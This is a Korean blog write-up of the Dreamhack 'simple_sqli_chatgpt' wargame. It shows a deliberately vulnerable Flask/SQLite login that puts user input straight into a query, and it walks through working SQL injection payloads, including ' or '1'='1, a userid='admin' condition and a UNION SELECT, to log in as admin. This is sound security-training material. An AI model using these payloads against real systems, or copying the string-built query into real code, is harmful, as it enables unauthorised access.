본문 바로가기
웹 해킹/드림핵

[드림핵] simple_sqli_chatgpt 풀이

by jwcs 2023. 7. 16.
728x90

https://dreamhack.io/wargame/challenges/769/?mode=description&writeup_id=9550 

 

simple_sqli_chatgpt

어딘가 이상한 로그인 서비스입니다. SQL INJECTION 취약점을 통해 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다. chatGPT와 함께 풀어보세요! Reference Server-side Basic

dreamhack.io

chat gpt를 이용하여 풀어보라는 sql 인젝션 문제이다. 필자는 chat gpt없이 풀도록 하겠다.

 

/

초기화면이다. 로그인 페이지와 함께 코드를 보도록하자.

/login

 

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userlevel = request.form.get('userlevel')
        res = query_db(f"select * from users where userlevel='{userlevel}'")
        if res:
            userid = res[0]
            userlevel = res[2]
            print(userid, userlevel)
            if userid == 'admin' and userlevel == 0:
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

로그인 페이지의 코드다. 우리가 입력한 값이 쿼리문에 삽입되어서 query_db로 가는 것이 보인다.

def get_db():
    db = getattr(g, '_database', None)
    if db is None:
        db = g._database = sqlite3.connect(DATABASE)
    db.row_factory = sqlite3.Row
    return db

def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv

간단히 요약하면 데이터베이스에서 우리가 입력한 쿼리문을 배열로 입력해서 리턴해주고 있다.

 

다시 로그인 페이지를 살펴보면, 리턴받은 첫 번째 요소와 세 번째 요소를 검사하고있다. 이 값이 admin이며 level이 0인지 확인하여 맞다면 flag를 보여준다. 당장 생각나는 sql인젝션 구문은 조건 없이 참으로 만들어 첫 번째 값을 불러오게 하는 방법이다. 보통 첫 번째 인덱스에 admin을 두기 때문에 발생하는 취약점이다.

'or'1'='1

하지만 guest로 로그인이 됐다. 왜 그런지 데이터베이스 코드를 보면 이해가 될 것이다.

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
    db.commit()
    db.close()

users테이블에 guest를 먼저 넣고 admin을 넣는 모습이다. 따라서 위의 방법으로는 힘들어 보인다. 다른 방법들을 생각해보자.

 

첫 번째 방법. where와 and를 이용

 

0'and userid='admin

admin의 레벨도 0이기 때문에 0과 함께 userid가 admin인 요소를 찾아올 수 있다.

 

두 번재 방법. union select 이용

 

' union select * from users;-- -

union select는 결과의 값을 합하여 출력하여 주는 집합 연산자이다. 실행 결과 guest와 admin 모두 반환할 것이다. 하지만 기본적으로 정렬은 오름차순이므로, userid가 a로 시작하는 admin이 첫번째 인덱스로 나오게 된다. 따라서 admin으로 로그인이 된다.

 

짜자잔

728x90
반응형